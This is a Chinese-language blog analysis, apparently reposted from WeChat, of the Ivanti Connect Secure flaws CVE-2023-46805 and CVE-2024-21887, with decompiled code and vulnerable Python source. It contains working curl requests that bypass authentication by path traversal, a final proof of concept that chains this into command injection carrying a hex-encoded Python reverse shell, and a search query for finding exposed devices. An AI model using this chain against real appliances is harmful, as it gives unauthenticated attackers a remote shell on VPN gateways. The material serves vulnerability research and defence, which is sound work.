前言
有一个半月没发过文章了,简要地看了一下这个RCE链原理,以及博客网站换成了www.ch35tnut.com,原先的快到期了,看了一下续费要20刀,买个.com的一年才10刀,果断换成.com域名了。
基本信息
在Ivanti中存在身份认证绕过漏洞和命令注入漏洞,结合这两个漏洞未经身份验证的远程攻击者可以在目标ivanti connect secure上执行任意代码。
其中CVE-2023-46805为身份验证绕过漏洞,利用路径穿越,攻击者可以未授权访问后端敏感API。CVE-2024-21887为命令注入漏洞,攻击者可以利用该漏洞注入恶意命令并执行,结合这两个漏洞,未授权攻击者可以在ivanti connect secure上执行恶意命令。
指纹
hunter
web.title="Ivanti connect"
影响版本
Ivanti ICS 9.x
Ivanti ICS 22.x
环境搭建
使用Vmware导入ova镜像即可,而后在grub启动时将密钥拖出来,再到kali里面解密磁盘。
技术分析&调试
在bin/dsstartws
中会启动web服务器
#!/home/ecbuilds/int-rel/sa/22.2/bld657.1/install/perl5/bin/perl -T
# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-
use lib ($ENV{'DSINSTALL'} =~ /(S*)/)[0] . "/perl";
use strict;
use DSSafe;
my ($install) = $ENV{'DSINSTALL'} =~ /(S*)/;
$SIG{HUP} = 'IGNORE';
if (!-e $install . "/runtime/webserver/conf/secure.crt" ) {
system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
system("/bin/cp " . $install . "/webserver/conf/ssl.crt/secure.crt " .
$install . "/runtime/webserver/conf");
}
if (!-e $install . "/runtime/webserver/conf/intermediate.crt" ) {
system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
system("/bin/cp " . $install . "/webserver/conf/ssl.crt/intermediate.crt " .
$install . "/runtime/webserver/conf");
}
if (!-e $ENV{'DSINSTALL'} . "/runtime/webserver/conf/secure.key" ) {
system("/bin/mkdir -p " . $install . "/runtime/webserver/conf");
system("/bin/cp " . $install . "/webserver/conf/ssl.key/secure.key " .
$install . "/runtime/webserver/conf");
}
my $command = $install . "/bin/web -s " . $install . "/runtime/webserver/conf";
exec($command) ;
print "unable to run: $commandn";
exit(-1);
省略时间,从分析文章中可以知道身份认证绕过位于/home/bin/web,反编译其代码,全局搜索/api/v1/totp/user-backup-code
,查找引用。
转到doAuthCheck,可以看到会使用strncmp对请求url进行比较,如果url为如下之一,会直接返回true,也就是以下这些url在 doAuthCheck中不用经过身份验证。
当然在其他函数中对其他url进行了额外的校验,但对于/api/v1/totp/user-backup-code
,不用身份验证。
if ( !memcmp(v17, "/dana-na/", 9u)
|| !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
|| !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
|| !strncmp(s1, "/dana-cached/hc/", 0x10u)
|| !strncmp(s1, "/dana-cached/cc/", 0x10u)
|| !strncmp(s1, "/dana-cached/ep/", 0x10u)
|| !strncmp(s1, "/dana-cached/psal/", 0x12u)
|| !strncmp(s1, "/dana-cached/remediation/", 0x19u)
|| !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
|| !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
|| !strncmp(s1, "/adfs/ls", 8u)
|| !strncmp(s1, "/api/v1/profiler/", 0x11u)
|| !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
{
return 1;
}
sub_59C40(*((_DWORD *)a1 + 3));
if ( (unsigned __int8)sub_873D0() )
return 1;
v18 = (const char *)*((_DWORD *)a1 + 16);
if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
|| !strncmp(v18, "/api/v1/integration/", 0x14u)
|| !strncmp(v18, "/api/v1/dsintegration", 0x15u)
|| !strncmp(v18, "/api/v1/pps/action/", 0x13u)
|| !strncmp(v18, "/api/my-session", 0xFu)
|| !strncmp(v18, "/api/v1/totp/user-backup-code", 0x1Du)
|| !strncmp(v18, "/api/v1/esapdata", 0x10u)
|| !strncmp(v18, "/api/v1/sessions", 0x10u)
|| !strncmp(v18, "/api/v1/tasks", 0xDu)
|| !strncmp(v18, "/api/v1/gateways", 0x10u)
|| !strncmp(v18, "/_/api/aaa", 0xAu)
|| !strncmp(v18, "/api/v1/oidc", 0xCu) )
{
return 1;
}
doAuthCheck
由doDispatchRequest
调用,当请求url以以下字符串开头则会转发给python rest server。
char __cdecl doDispatchRequest(DSLog::Debug *a1)
{
...
if ( !doAuthCheck(a1, (unsigned int *)a1 + 44) )
return 0;
......
if ( !memcmp(v5, "/api/v1/profiler/", 0x11u)
|| !memcmp(v5, "/api/v1/cav/", 0xCu)
|| !memcmp(v5, "/api/v1/ueba/", 0xDu)
|| !memcmp(v5, "/api/v1/integration/", 0x14u)
|| !memcmp(v5, "/api/my-session", 0xFu)
|| !memcmp(v5, "/api/v1/dsintegration", 0x15u)
|| !memcmp(v5, "/api/v1/sessions", 0x10u)
|| !memcmp(v5, "/api/v1/tasks", 0xDu)
|| !memcmp(v5, "/_/api/aaa", 0xAu)
|| !memcmp(v5, "/api/v1/esapdata", 0x10u)
|| !memcmp(v5, "/api/v1/totp/user-backup-code", 0x1Du)
|| !memcmp(v5, "/api/v1/gateways", 0x10u)
|| !memcmp(v5, "/api/aaa", 8u)
|| !memcmp(v5, "/api/v1/pps/action/", 0x13u)
|| !memcmp(v5, "/api/v1/oidc", 0xCu)
|| (sub_59C40(*((_DWORD *)a1 + 3)), (unsigned __int8)sub_873D0())
|| (v22 = *((_DWORD *)a1 + 16), (unsigned __int8)sub_853B0()) )
{
if ( !byte_13EB88 && __cxa_guard_acquire((__guard *)&byte_13EB88) )
{
v46 = "Watchdog";
if ( !*((_BYTE *)a1 + 240) )
v46 = "WebRequest";
dword_13EC80 = DSGetStatementCounter(
"request.cc",
5179,
"doDispatchRequest",
v46,
10,
"Dispatching to pyresthandler-server");
__cxa_guard_release((__guard *)&byte_13EB88);
}
++*(_QWORD *)dword_13EC80;
}
由以上逻辑可知可以通过/api/v1/totp/user-backup-code
和目录穿越绕过权限检查,访问python rest 服务。
➜ ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/totp/user-backup-code/../../license/keys-status
HTTP/1.1 200 Connection established
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 354
{"ive-licCount":0,"ive-maxccu":2,"ive-maxnuc":0,"ive-struct":{"node-data":[{"graceStr":"","hardware-id":"XXX","isReachable":1,"ive-cl-count":0,"ive-hostId":"localhost2","ive-name":"localhost2","ive-named-user-count":0,"ive-user-count":0,"license-keys":[],"num-lic":0,"serial-num":"XXX"}],"num-node":1}}
但/api/v1/totp/user-backup-code
路径仅存于22.3及以上,对于版本低的,需要使用/api/v1/cav/client/status/
接口绕过权限验证。
if ( !memcmp(v17, "/dana-na/", 9u)
|| !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
|| !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
|| !strncmp(s1, "/dana-cached/hc/", 0x10u)
|| !strncmp(s1, "/dana-cached/cc/", 0x10u)
|| !strncmp(s1, "/dana-cached/ep/", 0x10u)
|| !strncmp(s1, "/dana-cached/psal/", 0x12u)
|| !strncmp(s1, "/dana-cached/remediation/", 0x19u)
|| !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
|| !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
|| !strncmp(s1, "/adfs/ls", 8u)
|| !strncmp(s1, "/api/v1/profiler/", 0x11u)
|| !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
{
return 1;
}
sub_50540(*((_DWORD *)a1 + 3));
if ( (unsigned __int8)sub_7D260() )
return 1;
v18 = (const char *)*((_DWORD *)a1 + 16);
if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
|| !strncmp(v18, "/api/v1/integration/", 0x14u)
|| !strncmp(v18, "/api/v1/dsintegration", 0x15u)
|| !strncmp(v18, "/api/v1/pps/action/", 0x13u)
|| !strncmp(v18, "/api/my-session", 0xFu)
|| !strncmp(v18, "/api/v1/esapdata", 0x10u)
|| !strncmp(v18, "/api/v1/sessions", 0x10u)
|| !strncmp(v18, "/api/v1/tasks", 0xDu)
|| !strncmp(v18, "/api/v1/gateways", 0x10u)
|| !strncmp(v18, "/_/api/aaa", 0xAu)
|| !strncmp(v18, "/api/v1/oidc", 0xCu) )
{
return 1;
}
示例:
➜ ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/cav/client/status/../../admin/options
HTTP/1.1 200 Connection established
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46
{"poll_interval": 99999, "block_message": ""}
python rest 服务在restservice-0.1-py3.6.egg中实现,解压代码,可以在restserviceapi__init__.py
中看到其定义了一系列API
api.add_resource(
Userrecordsynchronization,
"/api/v1/system/user-record-synchronization",
"/api/v1/system/user-record-synchronization/database/export",
"/api/v1/system/user-record-synchronization/database/import",
"/api/v1/system/user-record-synchronization/database/delete",
"/api/v1/system/user-record-synchronization/database/retrieve-stats",
)
api.add_resource(
WebProfile, "/api/v1/system/resource-profiles/web-profile/<path:applet_name>"
)
api.add_resource(
ActiveSyncDevices,
"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>",
"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access",
"/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access",
"/api/v1/system/status/active-sync-devices",
)
api.add_resource(
AwsAzureTestConnection,
"/api/v1/system/maintenance/archiving/cloud-server-test-connection",
)
全局搜索popen
➜ grep -ir "popen"
restservice/api/resources/awsazuretestconnection.py: proc = subprocess.Popen(
restservice/api/resources/config.py: proc = subprocess.Popen(
restservice/api/resources/config.py: proc = subprocess.Popen(args, stdout=subprocess.PIPE)
restservice/api/resources/config.py: popen_args = [
restservice/api/resources/config.py: popen_args.append("--expand-href")
restservice/api/resources/config.py: popen_args.append("--exclude-pulse-packages")
restservice/api/resources/config.py: proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
restservice/api/resources/controller.py: proc = subprocess.Popen(
restservice/api/resources/controller.py: proc = subprocess.Popen(
restservice/api/resources/html5.py: # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)
restservice/api/resources/license.py: proc = subprocess.Popen(
restservice/api/resources/license.py: proc = subprocess.Popen(
restservice/api/resources/license.py: proc = subprocess.Popen(
restservice/api/resources/license.py: proc = subprocess.Popen(
restservice/api/resources/license.py: proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py: proc = subprocess.Popen(
restservice/api/resources/nsaregistration.py: proc = subprocess.Popen(
restservice/api/resources/samlconfig.py: o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/samlconfig.py: o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/status.py: ntpq_command_output = os.popen("ntpq -np").read().split("n")
在restserviceapiresourceslicense.py
中有如下代码,将nod_name参数直接拼接到了命令行中,
def get(self, url_suffix=None, node_name=None):
if request.path.startswith("/api/v1/license/keys-status"):
try:
dsinstall = os.environ.get("DSINSTALL")
if node_name == None:
node_name = ""
proc = subprocess.Popen(
dsinstall
+ "/perl5/bin/perl"
+ " "
+ dsinstall
+ "/perl/getLicenseCapacity.pl"
+ " getLicenseKeys "
+ node_name,
shell=True,
stdout=subprocess.PIPE,
)
node_name在路由中定义为url中的参数,同时由于指定了shell=True,导致可以通过;
注入恶意命令
api.add_resource(
License,
....
"/api/v1/license/keys-status/<path:node_name>",
....
resource_class_kwargs={"ive_logger": ive_logger},
)
POC
payload=$(echo ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host",48989));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';" | xxd -p)
curl -ik --path-as-is https://host/api/v1/totp/user-backup-code/../../license/keys-status/$payload
小结
这个漏洞利用链利用了二进制文件中路径判断问题,使用目录穿越绕过权限验证访问后端接口,同时通过Popen的命令注入注入恶意命令并执行,构成了完整的利用链,由于没办法获取到补丁,所以暂时没办法分析ivanti怎么修复的该漏洞。
利用截图
参考链接
https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/
https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis
https://www.assetnote.io/resources/research/high-signal-detection-and-exploitation-of-ivantis-pulse-connect-secure-auth-bypass-rce
PoC
https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
原文始发于微信公众号(闲聊趣说):CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论